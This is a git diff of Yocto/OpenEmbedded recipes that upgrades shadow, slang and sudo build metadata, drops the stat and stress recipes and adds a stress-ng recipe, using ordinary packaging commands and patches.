# Ensure that the image has as a /var/spool/mail dir so shadow can
# put mailboxes there if the user reconfigures shadow to its
# defaults (see sed below).
- install -d ${D}${localstatedir}/spool/mail
+ install -m 0775 -d ${D}${localstatedir}/spool/mail
+ chown root:mail ${D}${localstatedir}/spool/mail
if [ -e ${WORKDIR}/pam.d ]; then
install -d ${D}${sysconfdir}/pam.d/
@@ -137,7 +128,7 @@ do_install_append() {
sed -i -f ${WORKDIR}/login_defs_pam.sed ${D}${sysconfdir}/login.defs
fi
- install -d ${D}${sbindir} ${D}${base_sbindir} ${D}${base_bindir}
+ install -d ${D}${sbindir} ${D}${base_sbindir} ${D}${base_bindir}
# Move binaries to the locations we want
rm ${D}${sbindir}/vigr
@@ -153,10 +144,40 @@ do_install_append() {
# Handle link properly after rename, otherwise missing files would
# lead rpm failed dependencies.
ln -sf newgrp.${BPN} ${D}${bindir}/sg
+
+ # usermod requires the subuid/subgid files to be in place before being
+ # able to use the -v/-V flags otherwise it fails:
+ # usermod: /etc/subuid does not exist, you cannot use the flags -v or -V
+ install -d ${D}${sysconfdir}
+ touch ${D}${sysconfdir}/subuid
+ touch ${D}${sysconfdir}/subgid
+}
+
+# Make executables look for dynamically linked libraries in a custom location, and install
+# the needed libraries there. That way we can use them from sstate
+# in setscene tasks without worrying about the dependency libraries being available.
+do_install:append:class-native() {
+ binaries=$(find ${D}${base_bindir}/ ${D}${base_sbindir}/ ${D}${bindir}/ ${D}${sbindir}/ -executable -type f)
+ chrpath -k -r ${STAGING_DIR_NATIVE}/lib-shadow-deps $binaries
+ mkdir -p ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+ libattr=${@bb.utils.contains('DISTRO_FEATURES', 'xattr', "${STAGING_LIBDIR_NATIVE}/libattr.so.*", '', d)}
+ install $libattr ${STAGING_LIBDIR_NATIVE}/libbsd.so.* ${STAGING_LIBDIR_NATIVE}/libmd.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+ install ${D}${libdir}/*.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+}
+
+SYSROOT_DIRS:append:class-native = " ${STAGING_DIR_NATIVE}/lib-shadow-deps/"
+INSANE_SKIP:${PN}:class-native = "already-stripped"
+
+do_install:append:class-nativesdk() {
+ oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
+}
+
+do_install:append:class-target() {
+ oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
}
PACKAGES =+ "${PN}-base"
-FILES_${PN}-base = "\
+FILES:${PN}-base = "\
${base_bindir}/login.shadow \
${base_bindir}/su.shadow \
${bindir}/sg \
@@ -166,31 +187,30 @@ FILES_${PN}-base = "\
${sysconfdir}/pam.d/su \
${sysconfdir}/login.defs \
"
-RDEPENDS_${PN} += "${PN}-base"
+RDEPENDS:${PN} += "${PN}-base"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd"
ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw"
ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr"
ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_${PN}-base = "newgrp groups login su"
+ALTERNATIVE:${PN}-doc = "chfn.1 chsh.1"
+ALTERNATIVE_LINK_NAME[chfn.1] = "${mandir}/man1/chfn.1"
+ALTERNATIVE_LINK_NAME[chsh.1] = "${mandir}/man1/chsh.1"
+
+ALTERNATIVE:${PN}-base = "newgrp groups login su"
ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login"
ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_${PN}-doc = "passwd.5 getspnam.3 groups.1 su.1 nologin.8"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-
PACKAGE_WRITE_DEPS += "shadow-native"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN}:class-target () {
if [ "x$D" != "x" ]; then
rootarg="--root $D"
else
diff --git a/meta/recipes-extended/shadow/shadow_4.15.0.bb b/meta/recipes-extended/shadow/shadow_4.15.0.bb
new file mode 100644
index 0000000000..e57676c1da
--- /dev/null
+++ b/meta/recipes-extended/shadow/shadow_4.15.0.bb
@@ -0,0 +1,10 @@
+require shadow.inc
+
+# Build falsely assumes that if --enable-libpam is set, we don't need to link against
+# libcrypt. This breaks chsh.
+BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# https://bugzilla.redhat.com/show_bug.cgi?id=884658
+CVE_STATUS[CVE-2013-4235] = "upstream-wontfix: Severity is low and marked as closed and won't fix."
diff --git a/meta/recipes-extended/shadow/shadow_4.2.1.bb b/meta/recipes-extended/shadow/shadow_4.2.1.bb
deleted file mode 100644
index 5675cb8cc9..0000000000
--- a/meta/recipes-extended/shadow/shadow_4.2.1.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require shadow.inc
-
-# Build falsely assumes that if --enable-libpam is set, we don't need to link against
-# libcrypt. This breaks chsh.
-BUILD_LDFLAGS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', bb.utils.contains('DISTRO_FEATURES', 'libc-crypt', '-lcrypt', '', d), '', d)}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-
-
diff --git a/meta/recipes-extended/slang/slang/array_test.patch b/meta/recipes-extended/slang/slang/array_test.patch
new file mode 100644
index 0000000000..ccd416f207
--- /dev/null
+++ b/meta/recipes-extended/slang/slang/array_test.patch
@@ -0,0 +1,20 @@
+slang: modify array test
+
+One array test tries to create an array that is far too large and anticipates an exception.
+IndexError will only be thrown for 64 bit machines, so we add InvalidParmError for 32 bit ones.
+
+Upstream-Status: Submitted [jedsoft.org]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+--- a/src/test/array.sl
++++ b/src/test/array.sl
+@@ -165,7 +165,7 @@ try
+ {
+ SS = Long_Type[10000,10000,10000,10000,10000,10000];
+ }
+-catch IndexError;
++catch IndexError,InvalidParmError;
+
+ private define array_map2_func ()
+ {
diff --git a/meta/recipes-extended/slang/slang/dont-link-to-host.patch b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
index 42dba0fae4..4b02068991 100644
--- a/meta/recipes-extended/slang/slang/dont-link-to-host.patch
+++ b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
@@ -1,3 +1,8 @@
+From b4a6e3c8309cff0f2311cd959c5091213b633851 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Tue, 7 Feb 2017 14:35:43 +0000
+Subject: [PATCH] slang: rewrite recipe to run autoconf
+
SLANG_INST_LIB is the location of where slang will end up, but when building for
packaging this doesn't have DESTDIR appended so can potentially link to the host
for cross builds and will trigger QA errors.
@@ -7,10 +12,20 @@ As this is obviously wrong, delete it.
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ slsh/Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/slsh/Makefile.in b/slsh/Makefile.in
-index cba9d81..4c1c370 100644
+index addd343..63a5c9b 100644
--- a/slsh/Makefile.in
+++ b/slsh/Makefile.in
-@@ -80 +80 @@ SHELL = /bin/sh
--INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS)
-+INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS)
+@@ -77,7 +77,7 @@ SLSYSWRAP_LIB = @LIB_SLSYSWRAP@
+ #----------------------------------------------------------------------------
+ @SET_MAKE@
+ SHELL = /bin/sh
+-INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
++INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
+ DEFS = -DSLSH_CONF_DIR='"$(SLSH_CONF_DIR)"' -DSLSH_PATH='"$(SLSH_LIB_DIR)"' \
+ -DSLSH_CONF_DIR_ENV='$(SLSH_CONF_DIR_ENV)' -DSLSH_LIB_DIR_ENV='$(SLSH_LIB_DIR_ENV)' \
+ -DSLSH_PATH_ENV='$(SLSH_PATH_ENV)' $(SLSYSWRAP_DEF)
diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
index 3e6d15aa79..331b7f02e4 100644
--- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch
+++ b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
@@ -1,15 +1,30 @@
+From 2a75095638002d37a2f9c7aeb0ec54f271b0a1c4 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Tue, 1 Aug 2017 12:36:53 -0700
+Subject: [PATCH] slang: fix terminfo related problems
+
Do not use the JD_TERMCAP macro since we cannot get the terminfo from
ncurses pkg-config, but fix the macro to not reference host directories.
Also add src/test/Makefile.in so that we can use -ltermcap if we want to.
-Upstream-Status: Pending
+Upstream isn't going to take this, as it forces blank values and
+removes functionality without replacing it.
+Upstream-Status: Inappropriate [see above]
Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ autoconf/aclocal.m4 | 8 +---
+ autoconf/configure.ac | 11 +++++-
+ src/test/Makefile.in | 90 +++++++++++++++++++++++++++++++++++++++++++
+ 3 files changed, 100 insertions(+), 9 deletions(-)
+ create mode 100644 src/test/Makefile.in
+diff --git a/autoconf/aclocal.m4 b/autoconf/aclocal.m4
+index b2dfcd3..5f94ed3 100644
--- a/autoconf/aclocal.m4
+++ b/autoconf/aclocal.m4
-@@ -506,14 +506,10 @@ then
+@@ -509,15 +509,9 @@ then
else
MISC_TERMINFO_DIRS=""
fi
@@ -17,8 +32,8 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
- /usr/lib/terminfo \
- /usr/share/terminfo \
- /usr/share/lib/terminfo \
-- /usr/local/lib/terminfo"
-+
+- /usr/local/lib/terminfo \
+- /etc/terminfo /lib/terminfo"
TERMCAP=-ltermcap
-for terminfo_dir in $JD_Terminfo_Dirs
@@ -26,9 +41,11 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
do
if test -d $terminfo_dir
then
+diff --git a/autoconf/configure.ac b/autoconf/configure.ac
+index 8e11e13..9e6402c 100644
--- a/autoconf/configure.ac
+++ b/autoconf/configure.ac
-@@ -249,7 +249,14 @@ AC_CHECK_SIZEOF(size_t)
+@@ -250,7 +250,14 @@ AC_CHECK_SIZEOF(size_t)
JD_CHECK_LONG_LONG
JD_LARGE_FILE_SUPPORT
@@ -44,7 +61,7 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
JD_GCC_WARNINGS
JD_SET_OBJ_SRC_DIR(src)
-@@ -364,7 +371,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/confi
+@@ -365,7 +372,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/config.hin)
dnl AC_CONFIG_SUBDIRS(demo)
AC_OUTPUT(Makefile:autoconf/Makefile.in \
@@ -53,6 +70,9 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
slang.pc:autoconf/slangpc.in \
)
+diff --git a/src/test/Makefile.in b/src/test/Makefile.in
+new file mode 100644
+index 0000000..4b7307f
--- /dev/null
+++ b/src/test/Makefile.in
@@ -0,0 +1,90 @@
diff --git a/meta/recipes-extended/slang/slang_2.3.1a.bb b/meta/recipes-extended/slang/slang_2.3.3.bb
index 0585c14da5..05b8aff0f2 100644
--- a/meta/recipes-extended/slang/slang_2.3.1a.bb
+++ b/meta/recipes-extended/slang/slang_2.3.3.bb
@@ -11,7 +11,7 @@ HOMEPAGE = "http://www.jedsoft.org/slang/"
SECTION = "libs"
DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02"
SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
@@ -19,14 +19,14 @@ SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
file://dont-link-to-host.patch \
file://test-add-output-in-the-format-result-testname.patch \
file://terminfo_fixes.patch \
+ file://array_test.patch \
file://run-ptest \
"
-SRC_URI[md5sum] = "c5235313042ed0e71ec708f7b85ec241"
-SRC_URI[sha256sum] = "54f0c3007fde918039c058965dffdfd6c5aec0bad0f4227192cc486021f08c36"
+SRC_URI[sha256sum] = "f9145054ae131973c61208ea82486d5dd10e3c5cdad23b7c4a0617743c8f5a18"
UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
-PREMIRRORS_append = "\n http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/ \n"
+PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/"
inherit autotools-brokensep ptest
CLEANBROKEN = "1"
@@ -41,7 +41,7 @@ PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,p
PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
-do_configure_prepend() {
+do_configure:prepend() {
cd ${S}/autoconf
# slang keeps configure.ac and rest of autoconf files in autoconf/ directory
# we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
@@ -73,9 +73,11 @@ do_install_ptest() {
sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
}
-FILES_${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
+FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
+
+RDEPENDS:${PN}-ptest += "make"
PARALLEL_MAKE = ""
PARALLEL_MAKEINST = ""
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/stat/stat-3.3/fix-error-return.patch b/meta/recipes-extended/stat/stat-3.3/fix-error-return.patch
deleted file mode 100644
index 032995db8f..0000000000
--- a/meta/recipes-extended/stat/stat-3.3/fix-error-return.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-This patch fixies the wrong return code of stat -h.
-
-Upstream-Status: Pending
-Signed-off-by: Zhangle Yang <zhangle.yang@windriver.com>
-
---- stat-3.3/stat.c.orig 2013-08-22 10:49:45.000000000 +0800
-+++ stat-3.3/stat.c 2013-08-22 10:50:31.000000000 +0800
-@@ -845,7 +845,7 @@
- fprintf(stderr, "\t\t%%S - Security ID in SE-Linux\n");
- fprintf(stderr, "\t\t%%C - Security context in SE-Linux\n");
- fprintf(stderr, "\t\t%%d - Free file nodes in file system\n");
-- exit(1);
-+ exit(0);
- }
-
-
diff --git a/meta/recipes-extended/stat/stat-3.3/fix-security-format.patch b/meta/recipes-extended/stat/stat-3.3/fix-security-format.patch
deleted file mode 100644
index 0c01ed0383..0000000000
--- a/meta/recipes-extended/stat/stat-3.3/fix-security-format.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-stat: Fixing security formatting issues
-
-Fix security formatting issues related to printf without NULL argument
-
-stat.c: In function 'print_human_access':
-stat.c:292:13: error: format not a string literal and no format arguments [-Werror=format-security]
- printf (access);
- ^
-stat.c: In function 'print_human_time':
-stat.c:299:57: error: format not a string literal and no format arguments [-Werror=format-security]
- if (strftime(str, 40, "%c", localtime(t)) > 0) printf(str);
- ^
-stat.c: In function 'print_it':
-stat.c:613:6: error: format not a string literal and no format arguments [-Werror=format-security]
- printf(b);
- ^
-stat.c:642:6: error: format not a string literal and no format arguments [-Werror=format-security]
- printf(b);
- ^
-
-[YOCTO #9550]
-[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9550]
-
-Upstream-Status: Pending
-
-Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-
-diff --git a/stat.c b/stat.c
-index 1ed07a9..2be6f62 100644
---- a/stat.c
-+++ b/stat.c
-@@ -289,15 +289,15 @@ void print_human_access(struct stat *statbuf)
- default:
- access[0] = '?';
- }
-- printf (access);
-+ fputs(access,stdout);
- }
-
- void print_human_time(time_t *t)
- {
- char str[40];
-
-- if (strftime(str, 40, "%c", localtime(t)) > 0) printf(str);
-- else printf("Cannot calculate human readable time, sorry");
-+ if (strftime(str, 40, "%c", localtime(t)) > 0) fputs(str,stdout);
-+ else fputs("Cannot calculate human readable time, sorry",stdout);
- }
-
- /* print statfs info */
-@@ -610,7 +610,7 @@ void print_it(char *masterformat, char *filename,
- {
- strcpy (pformat, "%");
- *m++ = '\0';
-- printf(b);
-+ fputs(b,stdout);
-
- /* copy all format specifiers to our format string */
- while (isdigit(*m) || strchr("#0-+. I", *m))
-@@ -639,7 +639,7 @@ void print_it(char *masterformat, char *filename,
- }
- else
- {
-- printf(b);
-+ fputs(b,stdout);
- b = NULL;
- }
- }
diff --git a/meta/recipes-extended/stat/stat_3.3.bb b/meta/recipes-extended/stat/stat_3.3.bb
deleted file mode 100644
index 8ac8e89a22..0000000000
--- a/meta/recipes-extended/stat/stat_3.3.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Command line file status display utility"
-HOMEPAGE = "http://www.ibiblio.org/pub/Linux/utils/file/"
-DESCRIPTION = "Displays all information about a file that the stat() call provides and all information about a filesystem that statfs() provides."
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=39886b077fd072e876e5c4c16310b631 \
- file://GPL;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-SRC_URI = "http://www.ibiblio.org/pub/Linux/utils/file/${BP}.tar.gz \
- file://fix-security-format.patch \
- file://fix-error-return.patch"
-
-SRC_URI[md5sum] = "37e247e8e400ad9205f1b0500b728fd3"
-SRC_URI[sha256sum] = "7071f0384a423a938dd542c1f08547a02824f6359acd3ef3f944b2c4c2d1ee09"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-do_install() {
- install -d ${D}${base_bindir} ${D}${mandir}/man1
- install -m 755 stat ${D}${base_bindir}/stat.stat
- install -m 644 stat.1 ${D}${mandir}/man1
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_${PN} = "stat"
-ALTERNATIVE_PRIORITY[stat] = "200"
-ALTERNATIVE_LINK_NAME[stat] = "${base_bindir}/stat"
-ALTERNATIVE_TARGET[stat] = "${base_bindir}/stat.stat"
-
-ALTERNATIVE_${PN}-doc = "stat.1"
-ALTERNATIVE_LINK_NAME[stat.1] = "${mandir}/man1/stat.1"
-
-BBCLASSEXTEND = "native"
-
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb b/meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb
new file mode 100644
index 0000000000..fb88e06a7f
--- /dev/null
+++ b/meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb
@@ -0,0 +1,36 @@
+SUMMARY = "System load testing utility"
+DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
+imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
+HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master \
+ "
+SRCREV = "519151f460738cd62b69b84f8096cd218131e0a2"
+S = "${WORKDIR}/git"
+
+DEPENDS = "coreutils-native libbsd"
+
+PROVIDES = "stress"
+RPROVIDES:${PN} = "stress"
+RREPLACES:${PN} = "stress"
+RCONFLICTS:${PN} = "stress"
+
+inherit bash-completion
+
+EXTRA_OEMAKE = "VERBOSE=1"
+
+do_configure() {
+ mkdir -p configs
+ touch configs/HAVE_APPARMOR
+ oe_runmake makeconfig
+}
+
+do_install() {
+ oe_runmake DESTDIR=${D} BINDIR=${bindir} install
+ ln -s stress-ng ${D}${bindir}/stress
+}
+
+# upstream issue: https://github.com/ColinIanKing/stress-ng/issues/315
+DEBUG_BUILD = "0"
diff --git a/meta/recipes-extended/stress/files/texinfo.patch b/meta/recipes-extended/stress/files/texinfo.patch
deleted file mode 100644
index f23a1f69c4..0000000000
--- a/meta/recipes-extended/stress/files/texinfo.patch
+++ /dev/null
@@ -1,80 +0,0 @@
-Upstream-Status: Pending
---- a/doc/stress.texi
-+++ b/doc/stress.texi
-@@ -62,47 +62,47 @@
-
- @table @samp
- @item -?
--@itemx --help
-+@item --help
- Show help information.
-
--@itemx --version
-+@item --version
- Show version information.
-
- @item -v
--@itemx --verbose
-+@item --verbose
- Turn up verbosity.
-
- @item -q
--@itemx --quiet
-+@item --quiet
- Turn down verbosity.
-
- @item -n
--@itemx --dry-run
-+@item --dry-run
- Show what would have been done.
-
- @item -t @var{secs}
--@itemx --timeout @var{secs}
-+@item --timeout @var{secs}
- Time out after @var{secs} seconds.
-
--@itemx --backoff @var{usecs}
-+@item --backoff @var{usecs}
- Wait for factor of @var{usecs} microseconds before starting work.
-
- @item -c @var{forks}
--@itemx --cpu @var{forks}
-+@item --cpu @var{forks}
- Spawn @var{forks} processes each spinning on @samp{sqrt()}.
-
- @item -i @var{forks}
--@itemx --io @var{forks}
-+@item --io @var{forks}
- Spawn @var{forks} processes each spinning on @samp{sync()}.
-
- @item -m @var{forks}
--@itemx --vm @var{forks}
-+@item --vm @var{forks}
- Spawn @var{forks} processes each spinning on @samp{malloc()}.
-
--@itemx --vm-bytes @var{bytes}
-+@item --vm-bytes @var{bytes}
- Allocate @var{bytes} number of bytes. The default is 1.
-
--@itemx --vm-hang
-+@item --vm-hang
- Instruct each vm hog process to go to sleep after allocating memory. This
- contrasts with their normal behavior, which is to free the memory and
- reallocate @emph{ad infinitum}. This is useful for simulating low memory
-@@ -114,13 +114,13 @@
- @end example
-
- @item -d @var{forks}
--@itemx --hdd @var{forks}
-+@item --hdd @var{forks}
- Spawn @var{forks} processes each spinning on @samp{write()}.
-
--@itemx --hdd-bytes @var{bytes}
-+@item --hdd-bytes @var{bytes}
- Write @var{bytes} number of bytes. The default is 1GB.
-
--@itemx --hdd-noclean
-+@item --hdd-noclean
- Do not unlink file(s) to which random ASCII data is written.
-
- @end table
diff --git a/meta/recipes-extended/stress/stress_1.0.4.bb b/meta/recipes-extended/stress/stress_1.0.4.bb
deleted file mode 100644
index e9179d3e19..0000000000
--- a/meta/recipes-extended/stress/stress_1.0.4.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-SUMMARY = "System load testing utility"
-DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
-imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
-HOMEPAGE = "http://people.seas.harvard.edu/~apw/stress/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "http://people.seas.harvard.edu/~apw/${BPN}/${BP}.tar.gz \
- file://texinfo.patch \
- "
-
-SRC_URI[md5sum] = "890a4236dd1656792f3ef9a190cf99ef"
-SRC_URI[sha256sum] = "057e4fc2a7706411e1014bf172e4f94b63a12f18412378fca8684ca92408825b"
-
-inherit autotools
diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
new file mode 100644
index 0000000000..041c717e00
--- /dev/null
+++ b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
@@ -0,0 +1,62 @@
+From 6e835350b7413210c410d3578cfab804186b7a4f Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Tue, 17 Nov 2020 11:13:40 +0800
+Subject: [PATCH] sudo.conf.in: fix conflict with multilib
+
+When pass ${libdir} to --libexecdir of sudo, it fails to install sudo
+and lib32-sudo at same time:
+
+| Error: Transaction test error:
+| file /etc/sudo.conf conflicts between attempted installs of
+ sudo-1.9.3p1-r0.core2_64 and lib32-sudo-1.9.3p1-r0.core2_32
+
+Update the comments in sudo.conf.in to avoid the conflict.
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Upstream-Status: Inappropriate [OE configuration specific]
+
+---
+ examples/sudo.conf.in | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in
+index 2187457..0908d24 100644
+--- a/examples/sudo.conf.in
++++ b/examples/sudo.conf.in
+@@ -4,7 +4,7 @@
+ # Sudo plugins:
+ # Plugin plugin_name plugin_path plugin_options ...
+ #
+-# The plugin_path is relative to @plugindir@ unless
++# The plugin_path is relative to $plugindir such as /usr/lib/sudo unless
+ # fully qualified.
+ # The plugin_name corresponds to a global symbol in the plugin
+ # that contains the plugin interface structure.
+@@ -51,7 +51,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_intercept.so file.
+ #
+-#Path intercept @intercept_file@
++#Path intercept $intercept_file
+
+ #
+ # Sudo noexec:
+@@ -65,7 +65,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_noexec.so file.
+ #
+-#Path noexec @noexec_file@
++#Path noexec $noexec_file
+
+ #
+ # Sudo plugin directory:
+@@ -74,7 +74,7 @@
+ # The default directory to use when searching for plugins that are
+ # specified without a fully qualified path name.
+ #
+-#Path plugin_dir @plugindir@
++#Path plugin_dir $plugindir
+
+ #
+ # Core dumps:
diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc
index 80ec0ae856..feb1cf35a7 100644
--- a/meta/recipes-extended/sudo/sudo.inc
+++ b/meta/recipes-extended/sudo/sudo.inc
@@ -3,37 +3,39 @@ DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain
HOMEPAGE = "http://www.sudo.ws"
BUGTRACKER = "http://www.sudo.ws/bugs/"
SECTION = "admin"
-LICENSE = "ISC & BSD & Zlib"
-LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=652fb4334c13b511597d7940ef8b3323 \
- file://plugins/sudoers/redblack.c;beginline=1;endline=41;md5=cfe41112f96c19a074934d128f45c693 \
- file://lib/util/reallocarray.c;beginline=3;endline=16;md5=85b0905b795d4d58bf2e00635649eec6 \
- file://lib/util/fnmatch.c;beginline=3;endline=27;md5=67f83ee9bd456557397082f8f1be0efd \
- file://lib/util/getcwd.c;beginline=5;endline=27;md5=449af4cc57fc7d46f42090608ba3e681 \
- file://lib/util/glob.c;beginline=6;endline=31;md5=5872733146b9eb0deb79e1f664815b85 \
- file://lib/util/snprintf.c;beginline=6;endline=34;md5=c82c1b3a5c32e08545c9ec5d71e41e50 \
- file://include/sudo_queue.h;beginline=5;endline=27;md5=449af4cc57fc7d46f42090608ba3e681 \
- file://lib/util/inet_pton.c;beginline=3;endline=17;md5=3970ab0518ab79cbd0bafb697f10b33a"
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=5100e20d35f9015f9eef6bdb27ba194f \
+ file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \
+ file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \
+ file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \
+ file://lib/util/glob.c;beginline=2;endline=31;md5=2852f68687544e3eb8a0a61665506f0e \
+ file://lib/util/snprintf.c;beginline=3;endline=33;md5=b70df6179969e38fcf68da91b53b8029 \
+ file://include/sudo_queue.h;beginline=2;endline=27;md5=ad578e9664d17a010b63e4bc0576ee8d \
+ file://lib/util/inet_pton.c;beginline=3;endline=17;md5=27785c9f5835093eda42aa0816a2d0b4 \
+ file://lib/util/arc4random.c;beginline=3;endline=20;md5=ced8636ecefa2ba907cfe390bc3bd964 \
+ file://lib/util/arc4random_uniform.c;beginline=3;endline=17;md5=e30c2b777cdc00cfcaf7c445a10b262f \
+ file://lib/util/getentropy.c;beginline=1;endline=19;md5=a0f58be3d60b6dcd898ec5fe0866d36f \
+ "
inherit autotools
PACKAGECONFIG ??= ""
PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
+PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel"
+PACKAGECONFIG[audit] = "--with-linux-audit,--without-linux-audit,audit"
